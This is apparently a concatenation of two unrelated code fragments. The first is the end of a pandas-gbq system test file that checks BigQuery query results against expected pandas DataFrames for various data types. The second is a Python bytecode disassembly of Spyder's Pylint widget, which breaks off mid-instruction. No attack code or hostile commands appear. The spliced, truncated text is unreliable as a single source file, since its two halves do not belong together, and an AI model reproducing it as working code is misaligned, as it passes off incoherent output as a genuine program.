datetime.date(1998, 9, 4), datetime.date(2011, 10, 1), datetime.date(2018, 4, 11), ], dtype=db_dtypes.DateDtype(), ), "datetime_col": pandas.Series( [ "1998-09-04 12:34:56.789101", "2011-10-01 00:01:02.345678", "2018-04-11 23:59:59.999999", ], dtype="datetime64[ns]", ), "float_col": [1.125, -2.375, 0.0], "int64_col": pandas.Series( [(2**63) - 1, -1, -(2**63)], dtype="Int64" ), "numeric_col": [ decimal.Decimal("123.456789"), decimal.Decimal("-123.456789"), decimal.Decimal("999.999999"), ], "string_col": [ "abcdefghijklmnopqrstuvwxyz", "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "こんにちは", ], "time_col": pandas.Series( ["00:00:00.000000", "09:08:07.654321", "23:59:59.999999"], dtype=db_dtypes.TimeDtype(), ), "timestamp_col": pandas.Series( [ "1998-09-04 12:34:56.789101", "2011-10-01 00:01:02.345678", "2018-04-11 23:59:59.999999", ], dtype="datetime64[ns]", ).dt.tz_localize(datetime.timezone.utc), } ), ), id="scalar-types-nonnull-normal-range", ), pytest.param( *QueryTestCase( query=""" SELECT bools.row_num AS row_num, bool_col, bytes_col, date_col, datetime_col, float_col, int64_col, numeric_col, string_col, time_col, timestamp_col FROM UNNEST([ STRUCT(1 AS row_num, TRUE AS bool_col), STRUCT(2 AS row_num, FALSE AS bool_col), STRUCT(3 AS row_num, NULL AS bool_col) ]) AS `bools` INNER JOIN UNNEST([ STRUCT(1 AS row_num, NULL AS bytes_col), STRUCT(2 AS row_num, CAST('F1AC' AS BYTES FORMAT 'HEX') AS bytes_col), STRUCT(3 AS row_num, CAST('' AS BYTES FORMAT 'HEX') AS bytes_co) ]) AS `bytes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, DATE(1970, 1, 1) AS date_col), STRUCT(2 AS row_num, NULL AS date_col), STRUCT(3 AS row_num, DATE(2018, 4, 11) AS date_col) ]) AS `dates` INNER JOIN UNNEST([ STRUCT(1 AS row_num, DATETIME('1970-01-01 00:00:00.000000') AS datetime_col), STRUCT(2 AS row_num, DATETIME('2011-10-01 00:01:02.345678') AS datetime_col), STRUCT(3 AS row_num, NULL AS datetime_col) ]) AS `datetimes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, NULL AS float_col), STRUCT(2 AS row_num, -2.375 AS float_col), STRUCT(3 AS row_num, 0.0 AS float_col) ]) AS `floats` INNER JOIN UNNEST([ STRUCT(1 AS row_num, -1 AS int64_col), STRUCT(2 AS row_num, NULL AS int64_col), STRUCT(3 AS row_num, 0 AS int64_col) ]) AS `int64s` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('123.456789' AS NUMERIC) AS numeric_col), STRUCT(2 AS row_num, NULL AS numeric_col), STRUCT(3 AS row_num, CAST('999.999999' AS NUMERIC) AS numeric_col) ]) AS `numerics` INNER JOIN UNNEST([ STRUCT(1 AS row_num, '' AS string_col), STRUCT(2 AS row_num, 'こんにちは' AS string_col), STRUCT(3 AS row_num, NULL AS string_col) ]) AS `strings` INNER JOIN UNNEST([ STRUCT(1 AS row_num, NULL AS time_col), STRUCT(2 AS row_num, CAST('00:00:00.000000' AS TIME) AS time_col), STRUCT(3 AS row_num, CAST('23:59:59.999999' AS TIME) AS time_col) ]) AS `times` INNER JOIN UNNEST([ STRUCT(1 AS row_num, TIMESTAMP('1970-01-01 00:00:00.000000') AS timestamp_col), STRUCT(2 AS row_num, NULL AS timestamp_col), STRUCT(3 AS row_num, TIMESTAMP('2018-04-11 23:59:59.999999') AS timestamp_col) ]) AS `timestamps` WHERE `bools`.row_num = `dates`.row_num AND `bools`.row_num = `bytes`.row_num AND `bools`.row_num = `datetimes`.row_num AND `bools`.row_num = `floats`.row_num AND `bools`.row_num = `int64s`.row_num AND `bools`.row_num = `numerics`.row_num AND `bools`.row_num = `strings`.row_num AND `bools`.row_num = `times`.row_num AND `bools`.row_num = `timestamps`.row_num ORDER BY row_num ASC """, expected=pandas.DataFrame( { "row_num": pandas.Series([1, 2, 3], dtype="Int64"), "bool_col": pandas.Series( [True, False, None], dtype=( "boolean" if FEATURES.pandas_has_boolean_dtype else "object" ), ), "bytes_col": [None, bytes.fromhex("F1AC"), b""], "date_col": pandas.Series( [ datetime.date(1970, 1, 1), None, datetime.date(2018, 4, 11), ], dtype=db_dtypes.DateDtype(), ), "datetime_col": pandas.Series( [ "1970-01-01 00:00:00.000000", "2011-10-01 00:01:02.345678", None, ], dtype="datetime64[ns]", ), "float_col": [None, -2.375, 0.0], "int64_col": pandas.Series([-1, None, 0], dtype="Int64"), "numeric_col": [ decimal.Decimal("123.456789"), None, decimal.Decimal("999.999999"), ], "string_col": ["", "こんにちは", None], "time_col": pandas.Series( [None, "00:00:00", "23:59:59.999999"], dtype=db_dtypes.TimeDtype(), ), "timestamp_col": pandas.Series( [ "1970-01-01 00:00:00.000000", None, "2018-04-11 23:59:59.999999", ], dtype="datetime64[ns]", ).dt.tz_localize(datetime.timezone.utc), } ), ), id="scalar-types-nullable-normal-range", ), pytest.param( *QueryTestCase( query=""" SELECT bools.row_num AS row_num, bool_col, bytes_col, date_col, datetime_col, float_col, int64_col, numeric_col, string_col, time_col, timestamp_col FROM UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS BOOL) AS bool_col) ]) AS `bools` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS BYTES) AS bytes_col) ]) AS `bytes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS DATE) AS date_col) ]) AS `dates` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS DATETIME) AS datetime_col) ]) AS `datetimes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS FLOAT64) AS float_col) ]) AS `floats` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS INT64) AS int64_col) ]) AS `int64s` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS NUMERIC) AS numeric_col) ]) AS `numerics` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS STRING) AS string_col) ]) AS `strings` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS TIME) AS time_col) ]) AS `times` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS TIMESTAMP) AS timestamp_col) ]) AS `timestamps` WHERE `bools`.row_num = `dates`.row_num AND `bools`.row_num = `bytes`.row_num AND `bools`.row_num = `datetimes`.row_num AND `bools`.row_num = `floats`.row_num AND `bools`.row_num = `int64s`.row_num AND `bools`.row_num = `numerics`.row_num AND `bools`.row_num = `strings`.row_num AND `bools`.row_num = `times`.row_num AND `bools`.row_num = `timestamps`.row_num ORDER BY row_num ASC """, expected=pandas.DataFrame( { "row_num": pandas.Series([1], dtype="Int64"), "bool_col": pandas.Series( [None], dtype=( "boolean" if FEATURES.pandas_has_boolean_dtype else "object" ), ), "bytes_col": [None], "date_col": pandas.Series( [None], dtype=db_dtypes.DateDtype(), ), "datetime_col": pandas.Series( [None], dtype="datetime64[ns]", ), "float_col": pandas.Series([None], dtype="float64"), "int64_col": pandas.Series([None], dtype="Int64"), "numeric_col": [None], "string_col": [None], "time_col": pandas.Series( [None], dtype=db_dtypes.TimeDtype(), ), "timestamp_col": pandas.Series( [None], dtype="datetime64[ns]", ).dt.tz_localize(datetime.timezone.utc), } ), ), id="scalar-types-null", ), pytest.param( *QueryTestCase( query=""" SELECT bignumerics.row_num AS row_num, bignumeric_col, nullable_col, null_col FROM UNNEST([ STRUCT(1 AS row_num, CAST('123456789.123456789' AS BIGNUMERIC) AS bignumeric_col), STRUCT(2 AS row_num, CAST('-123456789.123456789' AS BIGNUMERIC) AS bignumeric_col), STRUCT(3 AS row_num, CAST('987654321.987654321' AS BIGNUMERIC) AS bignumeric_col) ]) AS `bignumerics` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('123456789.123456789' AS BIGNUMERIC) AS nullable_col), STRUCT(2 AS row_num, NULL AS nullable_col), STRUCT(3 AS row_num, CAST('987654321.987654321' AS BIGNUMERIC) AS nullable_col) ]) AS `nullables` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST(NULL AS BIGNUMERIC) AS null_col), STRUCT(2 AS row_num, CAST(NULL AS BIGNUMERIC) AS null_col), STRUCT(3 AS row_num, CAST(NULL AS BIGNUMERIC) AS null_col) ]) AS `nulls` WHERE `bignumerics`.row_num = `nullables`.row_num AND `bignumerics`.row_num = `nulls`.row_num ORDER BY row_num ASC """, expected=pandas.DataFrame( { "row_num": pandas.Series([1, 2, 3], dtype="Int64"), "bignumeric_col": [ decimal.Decimal("123456789.123456789"), decimal.Decimal("-123456789.123456789"), decimal.Decimal("987654321.987654321"), ], "nullable_col": [ decimal.Decimal("123456789.123456789"), None, decimal.Decimal("987654321.987654321"), ], "null_col": [None, None, None], } ), ), id="bignumeric-normal-range", ), pytest.param( *QueryTestCase( query=""" SELECT dates.row_num AS row_num, date_col, datetime_col, timestamp_col FROM UNNEST([ STRUCT(1 AS row_num, DATE(1, 1, 1) AS date_col), STRUCT(2 AS row_num, DATE(9999, 12, 31) AS date_col), STRUCT(3 AS row_num, DATE(2262, 4, 12) AS date_col) ]) AS `dates` INNER JOIN UNNEST([ STRUCT(1 AS row_num, DATETIME('0001-01-01 00:00:00.000000') AS datetime_col), STRUCT(2 AS row_num, DATETIME('9999-12-31 23:59:59.999999') AS datetime_col), STRUCT(3 AS row_num, DATETIME('2262-04-11 23:47:16.854776') AS datetime_col) ]) AS `datetimes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, TIMESTAMP('0001-01-01 00:00:00.000000') AS timestamp_col), STRUCT(2 AS row_num, TIMESTAMP('9999-12-31 23:59:59.999999') AS timestamp_col), STRUCT(3 AS row_num, TIMESTAMP('2262-04-11 23:47:16.854776') AS timestamp_col) ]) AS `timestamps` WHERE `dates`.row_num = `datetimes`.row_num AND `dates`.row_num = `timestamps`.row_num ORDER BY row_num ASC """, expected=pandas.DataFrame( { "row_num": pandas.Series([1, 2, 3], dtype="Int64"), "date_col": pandas.Series( [ datetime.date(1, 1, 1), datetime.date(9999, 12, 31), datetime.date(2262, 4, 12), ], dtype="object", ), "datetime_col": pandas.Series( [ datetime.datetime(1, 1, 1, 0, 0, 0, 0), datetime.datetime(9999, 12, 31, 23, 59, 59, 999999), datetime.datetime(2262, 4, 11, 23, 47, 16, 854776), ], dtype="object", ), "timestamp_col": pandas.Series( [ datetime.datetime( 1, 1, 1, 0, 0, 0, 0, tzinfo=datetime.timezone.utc ), datetime.datetime( 9999, 12, 31, 23, 59, 59, 999999, tzinfo=datetime.timezone.utc, ), datetime.datetime( 2262, 4, 11, 23, 47, 16, 854776, tzinfo=datetime.timezone.utc, ), ], dtype="object", ), } ), use_bqstorage_apis={True, False}, ), id="issue365-extreme-datetimes", ), ], ) def test_default_dtypes( read_gbq, query, expected, use_bqstorage_apis, use_bqstorage_api ): if use_bqstorage_api not in use_bqstorage_apis: pytest.skip(f"use_bqstorage_api={use_bqstorage_api} not supported.") result = read_gbq( query, use_bqstorage_api=use_bqstorage_api, configuration={"query": {"useQueryCache": False}}, ) pandas.testing.assert_frame_equal(result, expected) @pytest.mark.parametrize(["use_bqstorage_api"], [(True,), (False,)]) def test_empty_dataframe(read_gbq, use_bqstorage_api): query = """ SELECT bools.row_num AS row_num, bool_col, bytes_col, date_col, datetime_col, float_col, int64_col, numeric_col, string_col, time_col, timestamp_col FROM UNNEST([ STRUCT(1 AS row_num, TRUE AS bool_col) ]) AS `bools` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('F1AC' AS BYTES FORMAT 'HEX') AS bytes_col) ]) AS `bytes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, DATE(2018, 4, 11) AS date_col) ]) AS `dates` INNER JOIN UNNEST([ STRUCT(1 AS row_num, DATETIME('2011-10-01 00:01:02.345678') AS datetime_col) ]) AS `datetimes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, -2.375 AS float_col) ]) AS `floats` INNER JOIN UNNEST([ STRUCT(1 AS row_num, 1234 AS int64_col) ]) AS `int64s` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('123.456789' AS NUMERIC) AS numeric_col) ]) AS `numerics` INNER JOIN UNNEST([ STRUCT(1 AS row_num, 'abcdefghijklmnopqrstuvwxyz' AS string_col) ]) AS `strings` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('09:08:07.654321' AS TIME) AS time_col) ]) AS `times` INNER JOIN UNNEST([ STRUCT(1 AS row_num, TIMESTAMP('1998-09-04 12:34:56.789101') AS timestamp_col) ]) AS `timestamps` WHERE `bools`.row_num = `dates`.row_num AND `bools`.row_num = `bytes`.row_num AND `bools`.row_num = `datetimes`.row_num AND `bools`.row_num = `floats`.row_num AND `bools`.row_num = `int64s`.row_num AND `bools`.row_num = `numerics`.row_num AND `bools`.row_num = `strings`.row_num AND `bools`.row_num = `times`.row_num AND `bools`.row_num = `timestamps`.row_num AND `bools`.row_num = -1 ORDER BY row_num ASC """ expected = pandas.DataFrame( { "row_num": pandas.Series([], dtype="Int64"), "bool_col": pandas.Series( [], dtype="boolean" if FEATURES.pandas_has_boolean_dtype else "bool", ), "bytes_col": pandas.Series([], dtype="object"), "date_col": pandas.Series( [], dtype=db_dtypes.DateDtype(), ), "datetime_col": pandas.Series( [], dtype="datetime64[ns]", ), "float_col": pandas.Series([], dtype="float64"), "int64_col": pandas.Series([], dtype="Int64"), "numeric_col": pandas.Series([], dtype="object"), "string_col": pandas.Series([], dtype="object"), "time_col": pandas.Series( [], dtype=db_dtypes.TimeDtype(), ), "timestamp_col": pandas.Series( [], dtype="datetime64[ns]", ).dt.tz_localize(datetime.timezone.utc), } ) result = read_gbq(query, use_bqstorage_api=use_bqstorage_api) pandas.testing.assert_frame_equal(result, expected, check_index_type=False) def test_dml_query(read_gbq, writable_table: str): query = f""" UPDATE `{writable_table}` SET field1 = NULL WHERE field1 = 'string'; UPDATE `{writable_table}` SET field2 = NULL WHERE field2 < 0; """ result = read_gbq(query) assert result is not None
data/pandas-gbq-0.21.0/tests/system/test_read_gbq.py
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LOAD_CONST 'Pylint widget.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os.path IMPORT_FROM path STORE_NAME osp POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pickle STORE_NAME pickle LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME time STORE_NAME time LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pylint STORE_NAME pylint LOAD_CONST 0 LOAD_CONST ('getopenfilename',) IMPORT_NAME qtpy.compat IMPORT_FROM getopenfilename STORE_NAME getopenfilename POP_TOP LOAD_CONST 0 LOAD_CONST ('QByteArray', 'QProcess', 'QProcessEnvironment', 'Signal', 'Slot') IMPORT_NAME qtpy.QtCore IMPORT_FROM QByteArray STORE_NAME QByteArray IMPORT_FROM QProcess STORE_NAME QProcess IMPORT_FROM QProcessEnvironment STORE_NAME QProcessEnvironment IMPORT_FROM Signal STORE_NAME Signal IMPORT_FROM Slot STORE_NAME Slot POP_TOP LOAD_CONST 0 LOAD_CONST ('QInputDialog', 'QLabel', 'QMessageBox', 'QTreeWidgetItem', 'QVBoxLayout') IMPORT_NAME qtpy.QtWidgets IMPORT_FROM QInputDialog STORE_NAME QInputDialog IMPORT_FROM QLabel STORE_NAME QLabel IMPORT_FROM QMessageBox STORE_NAME QMessageBox IMPORT_FROM QTreeWidgetItem STORE_NAME QTreeWidgetItem IMPORT_FROM QVBoxLayout STORE_NAME QVBoxLayout POP_TOP LOAD_CONST 0 LOAD_CONST ('on_conf_change',) IMPORT_NAME spyder.api.config.decorators IMPORT_FROM on_conf_change STORE_NAME on_conf_change POP_TOP LOAD_CONST 0 LOAD_CONST ('_',) IMPORT_NAME spyder.api.translations IMPORT_FROM _ STORE_NAME _ POP_TOP LOAD_CONST 0 LOAD_CONST ('PluginMainWidget',) IMPORT_NAME spyder.api.widgets.main_widget IMPORT_FROM PluginMainWidget STORE_NAME PluginMainWidget POP_TOP LOAD_CONST 0 LOAD_CONST ('get_conf_path', 'is_pynsist', 'running_in_mac_app') IMPORT_NAME spyder.config.base IMPORT_FROM get_conf_path STORE_NAME get_conf_path IMPORT_FROM is_pynsist STORE_NAME is_pynsist IMPORT_FROM running_in_mac_app STORE_NAME running_in_mac_app POP_TOP LOAD_CONST 0 LOAD_CONST ('is_anaconda',) IMPORT_NAME spyder.config.utils IMPORT_FROM is_anaconda STORE_NAME is_anaconda POP_TOP LOAD_CONST 0 LOAD_CONST ('get_pylintrc_path',) IMPORT_NAME spyder.plugins.pylint.utils IMPORT_FROM get_pylintrc_path STORE_NAME get_pylintrc_path POP_TOP LOAD_CONST 0 LOAD_CONST ('TextEditor',) IMPORT_NAME spyder.plugins.variableexplorer.widgets.texteditor IMPORT_FROM TextEditor STORE_NAME TextEditor POP_TOP LOAD_CONST 0 LOAD_CONST ('ima',) IMPORT_NAME spyder.utils.icon_manager IMPORT_FROM ima STORE_NAME ima POP_TOP LOAD_CONST 0 LOAD_CONST ('getcwd_or_home', 'get_home_dir') IMPORT_NAME spyder.utils.misc IMPORT_FROM getcwd_or_home STORE_NAME getcwd_or_home IMPORT_FROM get_home_dir STORE_NAME get_home_dir POP_TOP LOAD_CONST 0 LOAD_CONST ('get_python_executable',) IMPORT_NAME spyder.utils.misc IMPORT_FROM get_python_executable STORE_NAME get_python_executable POP_TOP LOAD_CONST 0 LOAD_CONST ('QStylePalette', 'SpyderPalette') IMPORT_NAME spyder.utils.palette IMPORT_FROM QStylePalette STORE_NAME QStylePalette IMPORT_FROM SpyderPalette STORE_NAME SpyderPalette POP_TOP LOAD_CONST 0 LOAD_CONST ('PythonModulesComboBox', 'is_module_or_package') IMPORT_NAME spyder.widgets.comboboxes IMPORT_FROM PythonModulesComboBox STORE_NAME PythonModulesComboBox IMPORT_FROM is_module_or_package STORE_NAME is_module_or_package POP_TOP LOAD_CONST 0 LOAD_CONST ('OneColumnTree', 'OneColumnTreeActions') IMPORT_NAME spyder.widgets.onecolumntree IMPORT_FROM OneColumnTree STORE_NAME OneColumnTree IMPORT_FROM OneColumnTreeActions STORE_NAME OneColumnTreeActions POP_TOP LOAD_NAME pylint LOAD_ATTR __version__ STORE_NAME PYLINT_VER LOAD_CONST 5 STORE_NAME MIN_HISTORY_ENTRIES LOAD_CONST 100 STORE_NAME MAX_HISTORY_ENTRIES LOAD_NAME SpyderPalette LOAD_ATTR COLOR_ERROR_1 STORE_NAME DANGER_COLOR LOAD_NAME SpyderPalette LOAD_ATTR COLOR_WARN_1 STORE_NAME WARNING_COLOR LOAD_NAME SpyderPalette LOAD_ATTR COLOR_SUCCESS_1 STORE_NAME SUCCESS_COLOR LOAD_NAME QStylePalette LOAD_ATTR COLOR_TEXT_1 STORE_NAME MAIN_TEXT_COLOR LOAD_NAME QStylePalette LOAD_ATTR COLOR_TEXT_1 STORE_NAME MAIN_PREVRATE_COLOR LOAD_BUILD_CLASS LOAD_CONST <code object PylintWidgetActions at 0x7fab416c64b0, file "f.py", line 49> LOAD_CONST 'PylintWidgetActions' MAKE_FUNCTION LOAD_CONST 'PylintWidgetActions' CALL_FUNCTION STORE_NAME PylintWidgetActions LOAD_BUILD_CLASS LOAD_CONST <code object PylintWidgetOptionsMenuSections at 0x7fab416c6660, file "f.py", line 56> LOAD_CONST 'PylintWidgetOptionsMenuSections' MAKE_FUNCTION LOAD_CONST 'PylintWidgetOptionsMenuSections' CALL_FUNCTION STORE_NAME PylintWidgetOptionsMenuSections LOAD_BUILD_CLASS LOAD_CONST <code object PylintWidgetMainToolbarSections at 0x7fab416c61e0, file "f.py", line 62> LOAD_CONST 'PylintWidgetMainToolbarSections' MAKE_FUNCTION LOAD_CONST 'PylintWidgetMainToolbarSections' CALL_FUNCTION STORE_NAME PylintWidgetMainToolbarSections LOAD_BUILD_CLASS LOAD_CONST <code object PylintWidgetToolbarItems at 0x7fab416c6b70, file "f.py", line 66> LOAD_CONST 'PylintWidgetToolbarItems' MAKE_FUNCTION LOAD_CONST 'PylintWidgetToolbarItems' CALL_FUNCTION STORE_NAME PylintWidgetToolbarItems LOAD_BUILD_CLASS LOAD_CONST <code object CategoryItem at 0x7fab416c6270, file "f.py", line 74> LOAD_CONST 'CategoryItem' MAKE_FUNCTION LOAD_CONST 'CategoryItem' LOAD_NAME QTreeWidgetItem CALL_FUNCTION STORE_NAME CategoryItem LOAD_BUILD_CLASS LOAD_CONST <code object ResultsTree at 0x7fab416c6780, file "f.py", line 108> LOAD_CONST 'ResultsTree' MAKE_FUNCTION LOAD_CONST 'ResultsTree' LOAD_NAME OneColumnTree CALL_FUNCTION STORE_NAME ResultsTree LOAD_BUILD_CLASS LOAD_CONST <code object PylintWidget at 0x7faab822f300, file "f.py", line 233> LOAD_CONST 'PylintWidget' MAKE_FUNCTION LOAD_CONST 'PylintWidget' LOAD_NAME PluginMainWidget CALL_FUNCTION STORE_NAME PylintWidget LOAD_CONST <code object test at 0x7faab822f4b0, file "f.py", line 936> LOAD_CONST 'test' MAKE_FUNCTION STORE_NAME test LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME test CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PylintWidgetActions' STORE_NAME __qualname__ LOAD_CONST 'change_history_depth_action' STORE_NAME ChangeHistory LOAD_CONST 'run_analysis_action' STORE_NAME RunCodeAnalysis LOAD_CONST 'browse_action' STORE_NAME BrowseFile LOAD_CONST 'log_action' STORE_NAME ShowLog LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PylintWidgetOptionsMenuSections' STORE_NAME __qualname__ LOAD_CONST 'global_section' STORE_NAME Global LOAD_CONST 'section_section' STORE_NAME Section LOAD_CONST 'history_section' STORE_NAME History LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PylintWidgetMainToolbarSections' STORE_NAME __qualname__ LOAD_CONST 'main_section' STORE_NAME Main LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PylintWidgetToolbarItems' STORE_NAME __qualname__ LOAD_CONST 'file_combo' STORE_NAME FileComboBox LOAD_CONST 'rate_label' STORE_NAME RateLabel LOAD_CONST 'date_label' STORE_NAME DateLabel LOAD_CONST 'stretcher_1' STORE_NAME Stretcher1 LOAD_CONST 'stretcher_2' STORE_NAME Stretcher2 LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CategoryItem' STORE_NAME __qualname__ LOAD_CONST '\n Category item for results.\n\n Notes\n -----\n Possible categories are Convention, Refactor, Warning and Error.\n ' STORE_NAME __doc__ LOAD_NAME _ LOAD_CONST 'Convention' CALL_FUNCTION LOAD_NAME ima LOAD_METHOD icon LOAD_CONST 'convention' CALL_METHOD LOAD_CONST ('translation_string', 'icon') BUILD_CONST_KEY_MAP LOAD_NAME _ LOAD_CONST 'Refactor' CALL_FUNCTION LOAD_NAME ima LOAD_METHOD icon LOAD_CONST 'refactor' CALL_METHOD LOAD_CONST ('translation_string', 'icon') BUILD_CONST_KEY_MAP LOAD_NAME _ LOAD_CONST 'Warning' CALL_FUNCTION LOAD_NAME ima LOAD_METHOD icon LOAD_CONST 'warning' CALL_METHOD LOAD_CONST ('translation_string', 'icon') BUILD_CONST_KEY_MAP LOAD_NAME _ LOAD_CONST 'Error' CALL_FUNCTION LOAD_NAME ima LOAD_METHOD icon LOAD_CONST 'error' CALL_METHOD LOAD_CONST ('translation_string', 'icon') BUILD_CONST_KEY_MAP LOAD_CONST ('Convention', 'Refactor', 'Warning', 'Error') BUILD_CONST_KEY_MAP STORE_NAME CATEGORIES LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab416c6390, file "f.py", line 93> LOAD_CONST 'CategoryItem.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST number_of_messages LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_FAST number_of_messages LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _ LOAD_CONST 'messages' CALL_FUNCTION STORE_FAST messages JUMP_FORWARD to 34 LOAD_GLOBAL _ LOAD_CONST 'message' CALL_FUNCTION STORE_FAST messages LOAD_FAST self LOAD_ATTR CATEGORIES LOAD_FAST category BINARY_SUBSCR LOAD_CONST 'translation_string' BINARY_SUBSCR STORE_FAST title LOAD_FAST title LOAD_CONST ' (' LOAD_FAST number_of_messages FORMAT_VALUE LOAD_CONST ' ' LOAD_FAST messages FORMAT_VALUE LOAD_CONST ')' BUILD_STRING INPLACE_ADD STORE_FAST title LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST parent LOAD_FAST title BUILD_LIST LOAD_GLOBAL QTreeWidgetItem LOAD_ATTR Type CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR CATEGORIES LOAD_FAST category BINARY_SUBSCR LOAD_CONST 'icon' BINARY_SUBSCR STORE_FAST icon LOAD_FAST self LOAD_METHOD setIcon LOAD_CONST 0 LOAD_FAST icon CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ResultsTree' STORE_NAME __qualname__ LOAD_NAME Signal LOAD_NAME str LOAD_NAME int LOAD_NAME str CALL_FUNCTION STORE_NAME sig_edit_goto_requested LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab416c68a0, file "f.py", line 124> LOAD_CONST 'ResultsTree.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object activated at 0x7fab416c6030, file "f.py", line 131> LOAD_CONST 'ResultsTree.activated' MAKE_FUNCTION STORE_NAME activated LOAD_CONST <code object clicked at 0x7fab416c65d0, file "f.py", line 138> LOAD_CONST 'ResultsTree.clicked' MAKE_FUNCTION STORE_NAME clicked LOAD_CONST <code object clear_results at 0x7fab416c6f60, file "f.py", line 148> LOAD_CONST 'ResultsTree.clear_results' MAKE_FUNCTION STORE_NAME clear_results LOAD_CONST <code object set_results at 0x7fab416c6420, file "f.py", line 152> LOAD_CONST 'ResultsTree.set_results' MAKE_FUNCTION STORE_NAME set_results LOAD_CONST <code object refresh at 0x7fab416c6d20, file "f.py", line 157> LOAD_CONST 'ResultsTree.refresh' MAKE_FUNCTION STORE_NAME refresh LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST parent CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR filename LOAD_CONST None LOAD_FAST self STORE_ATTR results LOAD_CONST None LOAD_FAST self STORE_ATTR data LOAD_FAST self LOAD_METHOD set_title LOAD_CONST '' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR data LOAD_METHOD get LOAD_GLOBAL id LOAD_FAST item CALL_FUNCTION CALL_METHOD STORE_FAST data LOAD_FAST data LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST data UNPACK_SEQUENCE STORE_FAST fname STORE_FAST lineno LOAD_FAST self LOAD_ATTR sig_edit_goto_requested LOAD_METHOD emit LOAD_FAST fname LOAD_FAST lineno LOAD_CONST '' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST item LOAD_GLOBAL CategoryItem CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST item LOAD_METHOD isExpanded CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD collapseItem LOAD_FAST item CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST self LOAD_METHOD expandItem LOAD_FAST item CALL_METHOD POP_TOP JUMP_FORWARD to 52 LOAD_FAST self LOAD_METHOD activated LOAD_FAST item CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD clear CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD set_title LOAD_CONST '' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST filename LOAD_FAST self STORE_ATTR filename LOAD_FAST results LOAD_FAST self STORE_ATTR results LOAD_FAST self LOAD_METHOD refresh CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _ LOAD_CONST 'Results for ' CALL_FUNCTION LOAD_FAST self LOAD_ATTR filename BINARY_ADD STORE_FAST title LOAD_FAST self LOAD_METHOD set_title LOAD_FAST title CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD clear CALL_METHOD POP_TOP BUILD_MAP LOAD_FAST self STORE_ATTR data LOAD_CONST 'Convention' LOAD_FAST self LOAD_ATTR results LOAD_CONST 'C:' BINARY_SUBSCR BUILD_TUPLE LOAD_CONST 'Refactor' LOAD_FAST self LOAD_ATTR results LOAD_CONST 'R:' BINARY_SUBSCR BUILD_TUPLE LOAD_CONST 'Warning' LOAD_FAST self LOAD_ATTR results LOAD_CONST 'W:' BINARY_SUBSCR 